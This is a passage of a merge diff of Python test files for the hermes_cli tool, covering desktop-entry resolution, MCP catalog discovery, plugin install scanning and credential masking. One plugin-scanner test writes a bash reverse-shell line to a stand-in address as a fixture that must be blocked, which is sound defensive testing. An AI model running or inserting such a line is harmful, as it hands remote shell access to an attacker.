return_value="/usr/bin/npm"), \patch("hermes_cli.main_desktop._desktop_linux_sandbox_fixup", return_value=True), \patch("hermes_cli.main.subprocess.run", return_value=launch_ok) as mock_run, \pytest.raises(SystemExit) as exc:@@@ -816,7 -1090,7 +855,6 @@@ def test_gui_skips_desktop_entry_off_lilaunch_ok = subprocess.CompletedProcess([str(packaged_exe)], 0)with patch("hermes_cli.main_desktop._desktop_build_needed", return_value=False), \-- patch("hermes_cli.main_install_repair._resolve_node_runtime_npm", return_value="/usr/bin/npm"), \patch("hermes_cli.main_desktop._desktop_macos_relaunchable_fixup"), \patch("hermes_cli.main.subprocess.run", return_value=launch_ok), \pytest.raises(SystemExit) as exc:@@@ -1033,10 -1381,14 +1071,12 @@@ def test_gui_password_store_bridge_is_ldef _gui_build_patches(root: Path, run_side_effect):return [- patch("hermes_cli.main_install_repair._resolve_node_runtime_npm", return_value="/usr/bin/npm"),- # These staging doubles write text payloads; PE parsing is tested in- # test_desktop_exe_integrity.py with structurally valid binaries.+ patch("hermes_cli.main.shutil.which", return_value="/usr/bin/npm"),++ # Staging doubles are text; the PE-validation suite owns real binaries.+ patch("hermes_cli.main_desktop._desktop_exe_integrity_error", return_value=None),- patch("hermes_cli.main_web_build._run_npm_install_deterministic",+ patch("hermes_cli.source_build.prepare_source_dependencies",return_value=subprocess.CompletedProcess(["npm", "ci"], 0)),patch("hermes_cli.main_desktop._desktop_build_needed", return_value=True),- patch("hermes_cli.main_desktop._write_desktop_build_stamp"),patch("hermes_cli.main_desktop._desktop_macos_relaunchable_fixup"),patch("hermes_cli.main_desktop._register_linux_desktop_entry"),patch("hermes_cli.main_desktop._stop_desktop_processes_locking_build", return_value=[]),diff --cc tests/hermes_cli/test_linux_desktop_entry.pyindex b50842a6a72,58857fb08dc..6588a2f2aa2--- a/tests/hermes_cli/test_linux_desktop_entry.py+++ b/tests/hermes_cli/test_linux_desktop_entry.py@@@ -431,9 -420,111 +432,112 @@@ def test_exec_uses_known_wrapper_when_p# The probe found the wrapper despite the PATH miss.assert exec_line == f"{known_wrapper} desktop"[email protected]("linux")+ def test_exec_never_persists_a_checkout_internal_path_hit(tmp_path, xdg_home, monkeypatch):+ """A PATH hit inside THIS checkout is a launch-context artifact, like argv[0].++ The desktop-update hand-off hands the updater <checkout>/venv/bin at the+ FRONT of PATH (apps/desktop/electron/main.ts), so argv[0] is the venv+ console script — checkout-internal, correctly skipped as a durable+ answer — and the reroute that hides argv[0] re-resolves over PATH and+ hits THE SAME SCRIPT. The rerouted branch returned that hit outright,+ persisting the venv form; the next DE launch re-resolves to the durable+ wrapper and flips the bytes back. Alternating writers alternate the+ file content (captured: wrapper -> venv -> wrapper inside one update+ cycle), and every flip rewrites hermes.desktop. A rewrite landing+ inside a grid launch's STARTING window is the arm for the gnome-shell+ 50.x crash this module already guards against. A PATH hit inside the+ checkout must fall through to the durable probe.+ """+ root = _make_project(tmp_path)+ venv_script = root / "venv" / "bin" / "hermes"+ venv_script.parent.mkdir(parents=True)+ venv_script.write_text("#!/bin/bash\nexec true\n", encoding="utf-8")+ venv_script.chmod(0o755)++ known_wrapper = tmp_path / "path-home" / ".local" / "bin" / "hermes"+ known_wrapper.parent.mkdir(parents=True)+ known_wrapper.write_text(+ f'#!/bin/bash\nexec {root / "venv" / "bin" / "python"} {root / "hermes"} "$@"\n',+ encoding="utf-8",+ )+ known_wrapper.chmod(0o755)+ monkeypatch.setenv("HOME", str(tmp_path / "path-home"))++ # The hand-off's resolver chain: argv[0] = venv console script; with+ # argv[0] hidden, the PATH rerun yields the SAME script.+ def fake_resolve():+ return sys.argv[0] or str(venv_script)++ monkeypatch.setattr("hermes_cli.relaunch.resolve_hermes_bin", fake_resolve)+ _argv0_context(monkeypatch, str(venv_script))+ monkeypatch.setattr(lde, "refresh_desktop_databases", lambda _dir: [])++ entry = lde.install_desktop_entry(root)+ assert entry is not None+ exec_line = _parse(entry.read_text(encoding="utf-8"))["Exec"]++ assert exec_line == f"{known_wrapper} desktop"+ assert str(venv_script) not in exec_line++ # …and the same context a second time re-renders byte-identical content:+ # the no-op guard then skips the rewrite entirely (no write, no rescan).+ lde._probe_cache.clear()+ entry2 = lde.install_desktop_entry(root)+ assert entry2 is not None+ assert entry2.read_text(encoding="utf-8") == entry.read_text(encoding="utf-8")+++ def test_exec_finds_known_wrapper_when_resolver_has_no_candidate(+ tmp_path, xdg_home, monkeypatch+ ):+ """`None` from the resolver must still probe known wrapper locations.++ A cold relaunch (argv[0] is not an executable file, e.g. `-c` under+ `python -m`, and PATH has no `hermes`) makes resolve_hermes_bin return+ None outright. The early `return primary` that used to fire here skipped+ the durable-wrapper probe, so the persisted Exec flipped to the bare+ `<python> -m hermes_cli.main desktop` module form. Each flip between the+ wrapper and module forms rewrites hermes.desktop on the next launch; any+ rewrite that lands while gnome-shell's ShellApp for the entry is still+ STARTING crashes the shell (shell_app_dispose `state == STOPPED`+ assertion, gnome-shell 50.4). The entry must converge on the durable+ wrapper wherever it exists.+ """+ root = _make_project(tmp_path)++ known_wrapper = tmp_path / "cold-home" / ".local" / "bin" / "hermes"+ known_wrapper.parent.mkdir(parents=True)+ known_wrapper.write_text(+ f'#!/bin/bash\nexec {root / "venv" / "bin" / "python"} {root / "hermes"} "$@"\n',+ encoding="utf-8",+ )+ known_wrapper.chmod(0o755)+ monkeypatch.setenv("HOME", str(tmp_path / "cold-home"))++ # argv[0] is not an executable path at all — the resolver's own chain+ # yields None with or without argv[0].+ _argv0_context(monkeypatch, "-c")+ monkeypatch.setattr("shutil.which", lambda name: None)+ monkeypatch.setattr("hermes_cli.relaunch.resolve_hermes_bin", lambda: None)+ monkeypatch.setattr(lde, "refresh_desktop_databases", lambda _dir: [])++ entry = lde.install_desktop_entry(root)+ assert entry is not None+ exec_line = _parse(entry.read_text(encoding="utf-8"))["Exec"]++ assert exec_line == f"{known_wrapper} desktop"++ # …and the SAME context a second time re-renders byte-identical content:+ # the no-op guard in install_desktop_entry then skips the rewrite.+ lde._probe_cache.clear()+ entry2 = lde.install_desktop_entry(root)+ assert entry2 is not None+ assert entry2.read_text(encoding="utf-8") == entry.read_text(encoding="utf-8")++def test_exec_rejects_known_wrapper_from_another_checkout(tmp_path, xdg_home, monkeypatch):diff --cc tests/hermes_cli/test_local_preset_admission.pyindex d86b3fa39eb,10364949736..4e8cf34f545--- a/tests/hermes_cli/test_local_preset_admission.py+++ b/tests/hermes_cli/test_local_preset_admission.py@@@ -79,14 -75,18 +79,19 @@@ def test_supervisor_with_presets_does_nini = tmp_path / "presets.ini"ini.write_text("[allowed]\nmodel = allowed.gguf\nctx-size = 65536\n")calls = []- monkeypatch.setattr(supervisor, "server_binary", lambda p: Path("llama-server"))+ binary = tmp_path / "llama-server"+ monkeypatch.setattr(supervisor.subprocess, "run", lambda *a, **kw:+ SimpleNamespace(stdout="--load-mode MODE", stderr=""))monkeypatch.setattr(supervisor, "spawn_server", lambda cmd, **kw: (calls.append(cmd) or SimpleNamespace(pid=123), None))monkeypatch.setattr(supervisor.LlamaServerSupervisor, "_write_state", lambda self: None)- sup = supervisor.LlamaServerSupervisor(tmp_path, tmp_path, port=1234, preset_path=ini)+ sup = supervisor.LlamaServerSupervisor(binary, tmp_path, port=1234, preset_path=ini)try:sup._spawn()finally:sup._log_handle.close()+ assert calls[0][0] == str(binary)assert "--models-preset" in calls[0]assert "--models-dir" not in calls[0]+ # llama.cpp b10964 dropped the --no-webui spelling; the router must use --no-ui.+ assert "--no-ui" in calls[0]+ assert "--no-webui" not in calls[0]diff --cc tests/hermes_cli/test_local_runtime.pyindex 2a5385bf799,93c5930cc6c..0694d11db43--- a/tests/hermes_cli/test_local_runtime.py+++ b/tests/hermes_cli/test_local_runtime.py@@@ -31,9 -36,10 +31,11 @@@ class _StubHandler(BaseHTTPRequestHandlmodels: dict | None = Nonerequire_auth = Falsechat_answer = "Paris"+ reasoning = ""requests_processing = 0slots: list = []+ slots_error = 0+ metrics_error = 0def _send(self, code: int, body: dict | str | None = None) -> None:raw = (json.dumps(body) if isinstance(body, dict) else (body or "")).encode()diff --cc tests/hermes_cli/test_mcp_catalog_discovery.pyindex 00000000000,dc790e09091..625a92e4079mode 000000,100644..100644--- a/tests/hermes_cli/test_mcp_catalog_discovery.py+++ b/tests/hermes_cli/test_mcp_catalog_discovery.py@@@ -1,0 -1,154 +1,154 @@@+ """Catalog HTTP contract: opt-in backend signals with real A/B/A profile config I/O."""++ import asyncio+ from pathlib import Path+ import sys++ import pytest-import yaml++import hermes_yaml as yaml+ from fastapi.testclient import TestClient+++ @pytest.fixture+ def catalog_client(tmp_path, monkeypatch):+ home = tmp_path / ".hermes"+ other = home / "profiles" / "b"+ other.mkdir(parents=True)+ monkeypatch.setattr(Path, "home", lambda: tmp_path)+ monkeypatch.setenv("HERMES_HOME", str(home))+ monkeypatch.setenv("PATH", "")+ for directory, servers in ((home, {"demo": {"command": "unused", "enabled": False}}),+ (other, {"demo": {"command": "unused", "enabled": True},+ "legacy": {"command": "unused"}})):+ (directory / "config.yaml").write_text(yaml.safe_dump(+ {"mcp_servers": servers, "terminal": {"backend": "docker"}}), encoding="utf-8")+ catalog = tmp_path / "catalog"+ for name, suggest in (("demo", {"keywords": ["demo"], "applications": ["Fixture Paint"],+ "examples": ["Draw a picture."], "requires_app": True}),+ ("legacy", {"keywords": ["legacy"]})):+ entry = catalog / name+ entry.mkdir(parents=True)+ (entry / "manifest.yaml").write_text(yaml.safe_dump({+ "manifest_version": 1, "name": name, "description": "Fixture entry",+ "transport": {"type": "stdio", "command": "must-not-run"}, "suggest": suggest,+ }), encoding="utf-8")+ monkeypatch.setenv("HERMES_OPTIONAL_MCPS", str(catalog))++ from agent import secret_scope+ from tui_gateway import launch_profile_policy+ monkeypatch.setattr(secret_scope, "_MULTIPLEX_ACTIVE", False)+ monkeypatch.setattr(launch_profile_policy, "_snapshot", None)+ from hermes_cli.web_server import _SESSION_HEADER_NAME, _SESSION_TOKEN, app+ client = TestClient(app)+ client.headers[_SESSION_HEADER_NAME] = _SESSION_TOKEN+ return client, home, other+++ def test_catalog_detection_is_opt_in_and_preserves_profile_state(catalog_client, tmp_path, monkeypatch):+ from hermes_cli import mcp_app_detection as detection+ from hermes_constants import get_hermes_home++ client, home, other = catalog_client+ import socket+ import subprocess++ def forbidden(*_args, **_kwargs):+ pytest.fail("Catalog discovery must not execute apps, install or probe the network")++ monkeypatch.setattr(subprocess, "Popen", forbidden)+ monkeypatch.setattr(socket, "create_connection", forbidden)+ app_root = tmp_path / "Applications"+ app_root.mkdir()+ if sys.platform == "darwin":+ (app_root / "Fixture Paint.app").mkdir()+ elif sys.platform == "win32":+ (app_root / "Fixture Paint").mkdir()+ else:+ (app_root / "fixture.desktop").write_text("[Desktop Entry]\nName=Fixture Paint\nExec=must-not-run\n")+ monkeypatch.setattr(detection, "_application_roots", lambda: [app_root])+ calls = []+ discover = detection.discover_catalog_apps++ def checked_discover(criteria):+ with pytest.raises(RuntimeError):+ asyncio.get_running_loop() # Scans stay off the event loop.+ assert get_hermes_home() == home # No named-profile scope/skills lock spans discovery.+ calls.append(criteria)+ return discover(criteria)++ monkeypatch.setattr(detection, "discover_catalog_apps", checked_discover)+ snapshots = {directory: (directory / "config.yaml").read_bytes() for directory in (home, other)}+ for profile, enabled, legacy_installed in ((None, False, False), ("b", True, True), (None, False, False)):+ params = {"profile": profile} if profile else {}+ before = len(calls)+ old = client.get("/api/mcp/catalog", params=params)+ assert old.status_code == 200, old.text+ assert len(calls) == before+ assert "discovery" not in old.json()+ assert all("detected_apps" not in entry for entry in old.json()["entries"])+ new = client.get("/api/mcp/catalog", params={**params, "detect_apps": "true", "future_hint": "ignored"})+ assert new.status_code == 200, new.text+ data = new.json()+ assert data["discovery"] == {"scope": "backend", "status": "ok", "platform": sys.platform}+ entries = {entry["name"]: entry for entry in data["entries"]}+ assert entries["demo"]["detected_apps"] == ["Fixture Paint"]+ assert entries["demo"]["installed"] is True and entries["demo"]["enabled"] is enabled+ assert entries["legacy"]["detected_apps"] == []+ assert entries["legacy"]["installed"] is legacy_installed+ assert entries["legacy"]["suggest"]["applications"] == []+ assert entries["legacy"]["suggest"]["requires_app"] is False+ for entry in data["entries"]:+ entry.pop("detected_apps")+ data.pop("discovery")+ assert data == old.json()+ assert len(calls) == before + 1+ assert {directory: (directory / "config.yaml").read_bytes() for directory in snapshots} == snapshots+ future = tmp_path / "catalog" / "fixture-paint"+ future.mkdir()+ manifest = future / "manifest.yaml"+ manifest.write_text(yaml.safe_dump({+ "manifest_version": 1, "name": "fixture-paint", "description": "Create illustrations in Fixture Paint",+ "transport": {"type": "stdio", "command": "must-not-run"},+ }), encoding="utf-8")+ fresh = client.get("/api/mcp/catalog?detect_apps=true").json()+ added = next(entry for entry in fresh["entries"] if entry["name"] == "fixture-paint")+ assert added["suggest"] is None+ assert added["detected_apps"] == ["fixture paint"]+ unusual_names = ("_fixture-paint", "fixture-paint-", "x" * 81)+ for name in unusual_names:+ directory = tmp_path / "catalog" / name+ directory.mkdir()+ (directory / "manifest.yaml").write_text(yaml.safe_dump({+ "manifest_version": 1, "name": name, "description": "Valid catalog name, unusable inferred app label",+ "transport": {"type": "stdio", "command": "must-not-run"},+ }), encoding="utf-8")+ mixed = {entry["name"]: entry for entry in client.get("/api/mcp/catalog?detect_apps=true").json()["entries"]}+ assert mixed["fixture-paint"]["detected_apps"] == ["fixture paint"]+ assert all(mixed[name]["detected_apps"] == [] for name in unusual_names)+ manifest.unlink()+ assert all(entry["name"] != "fixture-paint" for entry in client.get("/api/mcp/catalog?detect_apps=true").json()["entries"])+ assert client.get("/api/mcp/catalog", params={"profile": "missing", "detect_apps": True}).status_code == 404+++ def test_catalog_discovery_failure_retains_entries_as_unknown(catalog_client, monkeypatch):+ from hermes_cli import mcp_app_detection as detection++ client, _home, _other = catalog_client+ calls = []++ def failed_discovery(criteria):+ calls.append(criteria)+ raise OSError("private path must not be returned")++ monkeypatch.setattr(detection, "discover_catalog_apps", failed_discovery)+ old = client.get("/api/mcp/catalog?detect_apps=false").json()+ assert calls == []+ response = client.get("/api/mcp/catalog?detect_apps=true")+ assert response.status_code == 200+ data = response.json()+ assert data["discovery"] == {"scope": "backend", "status": "unavailable", "platform": sys.platform}+ assert all(entry.pop("detected_apps") == [] for entry in data["entries"])+ data.pop("discovery")+ assert data == old+ assert "private path" not in response.text+ assert client.get("/api/mcp/catalog?detect_apps=not-a-bool").status_code == 422diff --cc tests/hermes_cli/test_mcp_probe_redaction.pyindex bc04f089d88,5b60e3a6929..cc0fab925d4--- a/tests/hermes_cli/test_mcp_probe_redaction.py+++ b/tests/hermes_cli/test_mcp_probe_redaction.py@@@ -5,7 -5,7 +5,7 @@@ import itertoolimport jsonimport pytest--import yaml++import hermes_yaml as yamlSYNTHETIC = "SYNTHETIC_MCP_BEARER_NOT_A_SECRET_123456"diff --cc tests/hermes_cli/test_model_persist_one_shape.pyindex eb9939982b0,5e2bf0712cc..b633cb88e7d--- a/tests/hermes_cli/test_model_persist_one_shape.py+++ b/tests/hermes_cli/test_model_persist_one_shape.py@@@ -13,7 -13,7 +13,7 @@@ from __future__ import annotationimport asyncioimport pytest--import yaml++import hermes_yaml as yamlfrom hermes_cli.model_switch import ModelSwitchResultdiff --cc tests/hermes_cli/test_model_switch_custom_providers.pyindex 9e515083e87,d9b04edd9f4..7267f4d444d--- a/tests/hermes_cli/test_model_switch_custom_providers.py+++ b/tests/hermes_cli/test_model_switch_custom_providers.py@@@ -14,9 -14,13 +14,13 @@@ import timimport hermes_cli.providers as providers_modimport pytest-import yaml+import hermes_yaml as yamlfrom hermes_cli.model_switch import list_authenticated_providers, switch_model- from hermes_cli.model_switch_providers import _fetch_picker_live_models, _save_discovered_models_to_config+ from hermes_cli.model_switch_providers import (+ _fetch_picker_live_models,+ _NativePickerModelList,+ _save_discovered_models_to_config,+ )from hermes_cli.providers import resolve_provider_fulldiff --cc tests/hermes_cli/test_plugin_catalog.pyindex e5bd8dd1e58,6224893ca3d..001d519e15d--- a/tests/hermes_cli/test_plugin_catalog.py+++ b/tests/hermes_cli/test_plugin_catalog.py@@@ -33,8 -30,33 +33,33 @@@ def test_shipped_catalog_entries_are_alassert all(e.install_identifier.startswith(e.repo) for e in entries)+ def test_category_defaults_to_other_and_unknown_category_is_rejected(tmp_path):+ """``category`` is the browse shelf: absent → ``desktop``; a value outside CATALOG_CATEGORIES is an+ invalid entry (skipped with a warning) so a typo cannot create a phantom shelf on the site."""+ (tmp_path / "a.yaml").write_text(yaml.safe_dump(_entry("no-cat")))+ (tmp_path / "b.yaml").write_text(yaml.safe_dump(_entry("mem", category="memory")))+ (tmp_path / "c.yaml").write_text(yaml.safe_dump(_entry("typo", category="memmory")))+ entries = {e.name: e for e in pc.load_catalog(tmp_path)}+ assert set(entries) == {"no-cat", "mem"}+ assert entries["no-cat"].category == "desktop" and entries["mem"].category == "memory"+ assert entries["mem"].to_dict()["category"] == "memory"+++ def test_version_and_image_are_cosmetic_and_offhost_images_are_dropped(tmp_path):+ """``version``/``image`` label the pin, they never gate it: a bad value is dropped with a warning and+ the entry survives; an image off GitHub is dropped because the Desktop browser must never fetch+ from third-party hosts."""+ (tmp_path / "a.yaml").write_text(yaml.safe_dump(_entry("labelled", version="1.4.0", image="https://raw.githubusercontent.com/owner/repo/38fe0fb53eff98d477f807432e965429e665ca33/banner.png")))+ (tmp_path / "b.yaml").write_text(yaml.safe_dump(_entry("offhost", version="1.4.0 beta", image="https://evil.example/x.png")))+ entries = {e.name: e for e in pc.load_catalog(tmp_path)}+ assert set(entries) == {"labelled", "offhost"}+ assert entries["labelled"].version == "1.4.0" and entries["labelled"].image == "https://raw.githubusercontent.com/owner/repo/38fe0fb53eff98d477f807432e965429e665ca33/banner.png"+ assert entries["offhost"].version == "" and entries["offhost"].image == ""+ assert entries["labelled"].to_dict()["version"] == "1.4.0"++def test_invalid_entries_are_skipped_not_raised(tmp_path):- (tmp_path / "a.yaml").write_text(yaml.safe_dump(_entry("ok")))+ (tmp_path / "a.yaml").write_text(yaml.safe_dump(_entry("ok", description="café")), encoding="utf-8-sig")(tmp_path / "b.yaml").write_text(yaml.safe_dump(_entry("short-sha", sha="abc123")))(tmp_path / "c.yaml").write_text(yaml.safe_dump(_entry("http-repo", repo="http://x/y")))(tmp_path / "d.yaml").write_text(yaml.safe_dump(_entry("Bad Name")))diff --cc tests/hermes_cli/test_plugins_cmd.pyindex 9ba46eee6d5,18dbb7ed2b1..c0cd02f0ec9--- a/tests/hermes_cli/test_plugins_cmd.py+++ b/tests/hermes_cli/test_plugins_cmd.py@@@ -9,7 -9,7 +9,8 @@@ from pathlib import Patfrom unittest.mock import MagicMock, patchimport pytest-import yaml++from tests.pm._fixtures import client, isolated_python # noqa: F401+import hermes_yaml as yamlfrom hermes_cli.plugins_cmd import (PluginOperationError,@@@ -692,6 -798,94 +693,103 @@@ class TestSubdirInstallE2Eassert pc._resolve_plugin_key("portable.test") == "portable.test"++def prepared_publication(client, tmp_path, monkeypatch):++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))++++[email protected]("prepared_publication")+ class TestReviewedPinScanTrust:+ """A caution-verdict tree installs without a prompt when it is the reviewed catalog pin, still+ prompts/blocks as a raw source or at a different revision, and dangerous blocks regardless."""++ SHA = "a" * 40++ def _fake_clone(self, pc, monkeypatch, plugins_dir, extra_file, body):+ def fake_clone(tmp_clone, git_url, revision):+ tmp_clone.mkdir()+ (tmp_clone / "plugin.yaml").write_text("name: scanme\nmanifest_version: 1\n", encoding="utf-8")+ (tmp_clone / extra_file).write_text(body, encoding="utf-8")+ return revision or "b" * 40++ monkeypatch.setattr(pc, "_clone_plugin_repo", fake_clone)+ monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)+ monkeypatch.setattr(pc, "_scan_on_install_enabled", lambda: True)++ def test_caution_trusted_only_at_the_reviewed_sha(self, tmp_path, monkeypatch):+ from hermes_cli import plugins_cmd as pc++ plugins_dir = tmp_path / "plugins"+ plugins_dir.mkdir()+ self._fake_clone(pc, monkeypatch, plugins_dir, "helper.py", "eval('1 + 1')\n") # caution++ with pytest.raises(pc.PluginScanBlocked):+ pc._install_plugin_core("https://github.com/o/r", force=False)+ with pytest.raises(pc.PluginScanBlocked): # catalog install whose checkout is NOT the pin+ pc._install_plugin_core("https://github.com/o/r", force=False, ref="c" * 40, reviewed_pin=self.SHA)+ target, _manifest, name = pc._install_plugin_core(+ "https://github.com/o/r", force=False, ref=self.SHA, reviewed_pin=self.SHA)+ assert name == "scanme" and target.is_dir()++ def test_dangerous_blocks_even_at_the_reviewed_sha(self, tmp_path, monkeypatch):+ from hermes_cli import plugins_cmd as pc++ plugins_dir = tmp_path / "plugins"+ plugins_dir.mkdir()+ self._fake_clone(pc, monkeypatch, plugins_dir, "setup.sh", "/bin/bash -i >/dev/tcp/1.2.3.4/4444 0>&1\n")++ with pytest.raises(pc.PluginScanBlocked):+ pc._install_plugin_core("https://github.com/o/r", force=False, ref=self.SHA, reviewed_pin=self.SHA)++[email protected]("prepared_publication")+ class TestInstallReadabilityGate:+ """A clone that lands unreadable is repaired or rolled back, never shipped (#111804)."""++ def _clone_with_unreadable_manifest(self, monkeypatch, pc):+ real_chmod = os.chmod # the rollback test replaces os.chmod after this fixture runs++ def fake_clone(tmp_clone, git_url, revision):+ tmp_clone.mkdir()+ (tmp_clone / "plugin.yaml").write_text("name: badperm\nmanifest_version: 1\n", encoding="utf-8")+ real_chmod(tmp_clone / "plugin.yaml", 0)+ return "0" * 40++ monkeypatch.setattr(pc, "_clone_plugin_repo", fake_clone)+ monkeypatch.setattr(pc, "_scan_plugin_tree", lambda *a, **k: None)+- @pytest.mark.skipif(os.name == "nt" or os.geteuid() == 0, reason="POSIX mode bits, non-root")++ @pytest.mark.platforms("posix")++ @pytest.mark.skipif(getattr(os, "geteuid", lambda: 1)() == 0, reason="root ignores mode bits")+ def test_unreadable_file_is_repaired_before_install(self, tmp_path, monkeypatch):+ from hermes_cli import plugins_cmd as pc++ plugins_dir = tmp_path / "plugins"+ plugins_dir.mkdir()+ monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)+ self._clone_with_unreadable_manifest(monkeypatch, pc)++ target, manifest, name = pc._install_plugin_core("file:///tmp/x", force=False)++ assert name == "badperm" # manifest read after repair, not the URL fallback+ assert (target / "plugin.yaml").read_text(encoding="utf-8").startswith("name: badperm")+- @pytest.mark.skipif(os.name == "nt" or os.geteuid() == 0, reason="POSIX mode bits, non-root")++ @pytest.mark.platforms("posix")++ @pytest.mark.skipif(getattr(os, "geteuid", lambda: 1)() == 0, reason="root ignores mode bits")+ def test_unrepairable_tree_rolls_back_and_names_the_fix(self, tmp_path, monkeypatch):+ from hermes_cli import plugins_cmd as pc++ plugins_dir = tmp_path / "plugins"+ plugins_dir.mkdir()+ monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)+ self._clone_with_unreadable_manifest(monkeypatch, pc)+ monkeypatch.setattr(pc.os, "chmod", lambda *a, **k: (_ for _ in ()).throw(PermissionError(1, "nope")))++ with pytest.raises(PluginOperationError, match=r"plugin.yaml is not readable.*chmod -R u\+rX"):+ pc._install_plugin_core("file:///tmp/x", force=False)++ assert list(plugins_dir.iterdir()) == [] # no half-installed dir, no staging leftovers++def test_portable_manifest_is_visible_to_plugin_cli(tmp_path):import jsondiff --cc tests/hermes_cli/test_profile_clone_channels.pyindex 8c82eb2a0a6,8ce8d72648d..36afd3d3ce8--- a/tests/hermes_cli/test_profile_clone_channels.py+++ b/tests/hermes_cli/test_profile_clone_channels.py@@@ -10,7 -10,7 +10,7 @@@ from __future__ import annotationfrom pathlib import Pathimport pytest--import yaml++import hermes_yaml as yamlimport hermes_constantsfrom hermes_cli import gateway_migrate as gmdiff --cc tests/hermes_cli/test_set_config_value.pyindex a7dac048ce7,e683e54de0d..372470a7576--- a/tests/hermes_cli/test_set_config_value.py+++ b/tests/hermes_cli/test_set_config_value.py@@@ -853,6 -921,71 +921,71 @@@ class TestLiteralDotKeyEscaping"""Nesting semantics for plain dotted keys are untouched."""set_config_value("terminal.backend", "docker")- import yaml+ import hermes_yaml as yamlsaved = yaml.safe_load(_read_config(_isolated_hermes_home))assert saved["terminal"]["backend"] == "docker"+++ class TestConfigGetRedaction:+ """#84106 / #110758: `config get` is run by the agent from persisted sessions, so every+ path (section dump, dotted leaf, .env-routed key) masks credentials unless ``--raw``."""++ SECRET = "OPAQUEKEYVALUE12345678"++ def _seed(self, home, monkeypatch):+ (home / "config.yaml").write_text(+ "providers:\n gemini:\n api_key: " + self.SECRET + "\n"+ "mcp_servers:\n s:\n env:\n MY_API_KEY: ${MY_API_KEY}\n url: https://x.example\n",+ encoding="utf-8")+ (home / ".env").write_text("GEMINI_API_KEY=" + self.SECRET + "\n", encoding="utf-8")+ monkeypatch.setenv("MY_API_KEY", self.SECRET)++ @pytest.mark.parametrize("key", ["providers", "providers.gemini.api_key", "GEMINI_API_KEY",+ "mcp_servers.s.env.MY_API_KEY"])+ def test_config_get_masks_every_credential_path(self, _isolated_hermes_home, capsys, monkeypatch, key):+ self._seed(_isolated_hermes_home, monkeypatch)+ from hermes_cli.config import get_config_value++ get_config_value(key)+ out = capsys.readouterr().out+ assert self.SECRET not in out+ # Still identifies the key (mask keeps head/tail) and non-secret siblings stay readable.+ assert self.SECRET[:4] in out+ if key == "providers":+ assert "gemini" in out++ def test_config_get_raw_prints_the_real_value(self, _isolated_hermes_home, capsys, monkeypatch):+ self._seed(_isolated_hermes_home, monkeypatch)+ from hermes_cli.config import get_config_value++ get_config_value("providers.gemini.api_key", raw=True)+ assert capsys.readouterr().out.strip() == self.SECRET++ @pytest.mark.parametrize("key, env_line, yaml_line, masked", [+ # .env-routed keys are credentials unless the suffix is a known non-secret shape.+ ("FAL_KEY", "FAL_KEY=" + SECRET, "", True),+ ("VOICE_TOOLS_OPENAI_KEY", "VOICE_TOOLS_OPENAI_KEY=" + SECRET, "", True),+ ("TERMINAL_SSH_HOST", "TERMINAL_SSH_HOST=" + SECRET, "", False),+ ("mcp_servers.s.env.AWS_SECRET_ACCESS_KEY", "", " env: {AWS_SECRET_ACCESS_KEY: " + SECRET + "}\n", True),+ # Hyphenated header names fold to snake_case before matching (#84153 reviewer case).+ ("mcp_servers.s.headers.X-API-Key", "", " headers: {X-API-Key: " + SECRET + "}\n", True),+ # Bare `auth` is the MCP transport mode enum, not a credential.+ ("mcp_servers.s.auth", "", " auth: oauth\n", False),+ # An unresolved ${VAR} placeholder names the env var; masking it hides that reference.+ ("mcp_servers.s.env.UNSET_THING_API_KEY", "", " env: {UNSET_THING_API_KEY: '${UNSET_THING_API_KEY}'}\n", False),+ ])+ def test_config_get_classifies_env_header_and_enum_keys(+ self, _isolated_hermes_home, capsys, monkeypatch, key, env_line, yaml_line, masked):+ monkeypatch.delenv("UNSET_THING_API_KEY", raising=False)+ (_isolated_hermes_home / "config.yaml").write_text(+ "mcp_servers:\n s:\n url: https://x.example\n" + yaml_line, encoding="utf-8")+ (_isolated_hermes_home / ".env").write_text(env_line + "\n", encoding="utf-8")+ from hermes_cli.config import get_config_value++ get_config_value(key)+ out = capsys.readouterr().out.strip()+ if masked:+ assert self.SECRET not in out and self.SECRET[:4] in out+ else:+ assert out == {"TERMINAL_SSH_HOST": self.SECRET, "mcp_servers.s.auth": "oauth"}.get(+ key, "${UNSET_THING_API_KEY}")diff --cc tests/hermes_cli/test_stderr_timestamp.pyindex f1e76a48e3b,d67cb6cac26..c5b0d847e58--- a/tests/hermes_cli/test_stderr_timestamp.py+++ b/tests/hermes_cli/test_stderr_timestamp.py@@@ -162,3 -166,50 +166,49 @@@ def test_main_does_not_mark_unsuperviseassert rc == 0assert marker_path.read_text(encoding="utf-8") == "unset"+++ @pytest.mark.spawns_gateway_lookalike+ def test_main_maps_gateway_ex_config_to_clean_stop(tmp_path):+ """launchd KeepAlive.SuccessfulExit=false parks exit 0; the wrapper must+ turn gateway EX_CONFIG (78) into that clean stop without swallowing the+ please-restart code (75) or a non-gateway child's 78."""+ log_path = tmp_path / "gateway.error.log"+ gateway_tail = ["-m", "hermes_cli.main", "gateway", "run"]++ rc_config = stderr_timestamp.main(+ [+ "--error-log",+ str(log_path),+ "--",+ sys.executable,+ "-c",+ f"raise SystemExit({GATEWAY_FATAL_CONFIG_EXIT_CODE})",+ *gateway_tail,+ ]+ )+ rc_restart = stderr_timestamp.main(+ [+ "--error-log",+ str(log_path),+ "--",+ sys.executable,+ "-c",+ f"raise SystemExit({GATEWAY_SERVICE_RESTART_EXIT_CODE})",+ *gateway_tail,+ ]+ )+ rc_other = stderr_timestamp.main(+ [+ "--error-log",+ str(log_path),+ "--",+ sys.executable,+ "-c",+ f"raise SystemExit({GATEWAY_FATAL_CONFIG_EXIT_CODE})",+ ]+ )++ assert rc_config == 0+ assert rc_restart == GATEWAY_SERVICE_RESTART_EXIT_CODE+ assert rc_other == GATEWAY_FATAL_CONFIG_EXIT_CODE-diff --cc tests/hermes_cli/test_update_import_guard.pyindex e2acea9ee5a,235a1f1e366..8a23f891c90--- a/tests/hermes_cli/test_update_import_guard.py+++ b/tests/hermes_cli/test_update_import_guard.py@@@ -21,7 -22,8 +22,7 @@@ from pathlib import Patimport pytestfrom hermes_cli import main as hermes_main--from hermes_cli import update_cmd-import hermes_cli.update_cmd_deps as update_cmd_deps++from hermes_cli import update_cmd, update_cmd_validationfrom hermes_constants import partial_update_hint@@@ -208,9 -220,9 +209,9 @@@ def test_import_guard_reports_probe_timimport subprocessdef timeout(*_args, **_kwargs):- raise subprocess.TimeoutExpired(["python", "-c", "probe"], 120)- return None++ raise 